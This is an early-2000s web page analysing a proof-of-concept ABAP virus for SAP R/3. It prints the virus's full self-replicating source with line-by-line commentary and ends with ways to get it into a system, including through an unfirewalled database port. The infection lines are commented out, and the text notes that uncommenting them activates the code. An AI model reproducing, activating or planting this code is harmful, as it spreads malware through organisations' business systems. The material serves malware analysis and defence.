SAP virus, an analysis

The virus has bee published here.

Newsbytes has a report published in April 2002. Youĺl find my preliminary analysis here:

This is a preliminary analysis, but I think I got the big picture. The report might work as expected, but SAP programs contain some very weired constructs, so it may fail in the long run. I consider the infection module "proof-of-concept".

> REPORT VIRIISOFT. "(C) ViriiWare 2000
> * Primer Virus para SAP versión Listados en 24 Líneas de Código
> * Efectos: Solo se reproduce en reports y funciones.
> * Hay que descomentar las linea para que funcione correctamente.
    

SAPs report directory (potential targets)

> TABLES TRDIR.
    

Arrays holding program copies in memory (the names may clash with names in the program an generate syntax errors in infected programs). I would choose some other name that will have fewer clash chances.

> DATA: VIN(72) OCCURS 0, VOUT(72) OCCURS 0. "SAPVirii
                                             ^^^^^^^^^

This "SAPVirr" marks the start of the virus code.

Find a new target:

> SELECT NAME INTO SY-TNAME FROM TRDIR WHERE UNAM NE 'Virii' AND
>    ( SUBC = '1' OR ( SUBC = 'I' AND NAME LIKE 'L____U__' ) ).
    

A target is not changed by user "Virii" and has report type '1' (online report) or 'I' (include report, naming convention 'L____U__' looks for generated reports for funtion modules).

The report uses some "SY-" fields. These are predefined and automatically declared, so the report may be as unintrusive as possible. Caveat: Some SY- fields vanish in newer releases.

Do we mofidy a FUNCTION or a REPORT?

>   IF TRDIR-SUBC = 'I'.
>      SY-TVAR0 = 'FUNCTION'.
>   ELSE.
>      SY-TVAR0 = 'REPORT'.
>   ENDIF.
    

Only one target is infected in every run:

>   EXIT.
>   ENDSELECT.
    

Did we find a target?

> CHECK SY-SUBRC = 0.
    

Oh yes, we did.

Now (remove the '*') mark the target as infected:

> *update trdir set: name = 'Virii', sqlx = ' ' where name = sy-tname.
    

Read both the target and the current report into the memory:

> READ REPORT SY-TNAME INTO VIN.
> READ REPORT SY-REPID INTO VOUT.
    

The following loop I didn't understand fully and think I should trace it to be really sure.

> LOOP AT VIN INTO SY-ENTRY.
>   TRANSLATE SY-ENTRY TO UPPER CASE. SEARCH SY-ENTRY FOR SY-TVAR0.
>   CHECK SY-SUBRC = 0 AND SY-ENTRY+0(1) NE '*'.
    

Search (and found) the place to modify the target (either FUNCTION or REPORT).

>   LOOP AT VIN INTO SY-ENTRY FROM SY-TABIX.
>      TRANSLATE SY-ENTRY USING '.@'.
    

Search a '.' (end of statement).

>      SEARCH SY-ENTRY FOR '@'.
>      CHECK SY-SUBRC = 0.
    

Remember the place.

>      SY-WILLI = SY-TABIX + 1. EXIT.
>   ENDLOOP.
>   EXIT.
> ENDLOOP.
    

Did it work out for us?

> CHECK SY-SUBRC = 0.
    

Ok, all went well.

Delete all lines out of "SAPVirii" from the memory copy of the running program. All that remains is the virus code.

> LOOP AT VOUT INTO SY-ENTRY.
>    IF SY-PAGNO = 3. SY-PAGNO = 0. ENDIF.
>    SEARCH SY-ENTRY FOR 'SAPVirii'.
>    IF SY-SUBRC = 0. SY-PAGNO = SY-PAGNO + 1. ENDIF.
>    CHECK SY-PAGNO = 0. DELETE VOUT.
> ENDLOOP.
    

Now we insert the virus code into the memory copy of the target program at the remembered place.

> INSERT LINES OF VOUT FROM 1 INTO VIN INDEX SY-WILLI.
    

If the commentchar (*) is removed, insert the modified target report into the SAP database:

> *insert report sy-tname from vin. CLEAR SY. "<---Virii Activo
    

The next start of that report will infect another target. No need to compile, since SAP will do that for you.

I'm currently investigating whether or not the ABAP keyword INSERT REPORT will work in a productive system where report changes are not allowed. As of now, SAPs documentation said nothing about that, so I need to try it out.

Placeholder for malicious(?) actions...

> *Aquí va el código de destrucción o efectos del virus. "SAPVirii
                                                         ^^^^^^^^^

End of virus code.

Nice. What do you need to implement it into SAP R/3?

A developer that changes a report (You need the SAP rights to do that and the system must allow changing of SAP reports for that). This should only be possible in development systems, not in production systems.

A developer creates the report in the development system and transports it into production. SAP logs these events.

A malicious user gets access to the SAP database an imports a modified report into the target system. Possible, if the customer did not protect the SAP database port with a firewall. At least for Oracle there is a Cut&Paste instruction available on my homepage.


Jochen Hein
Last modified: Sat Apr 13 14:48:35 CEST 2002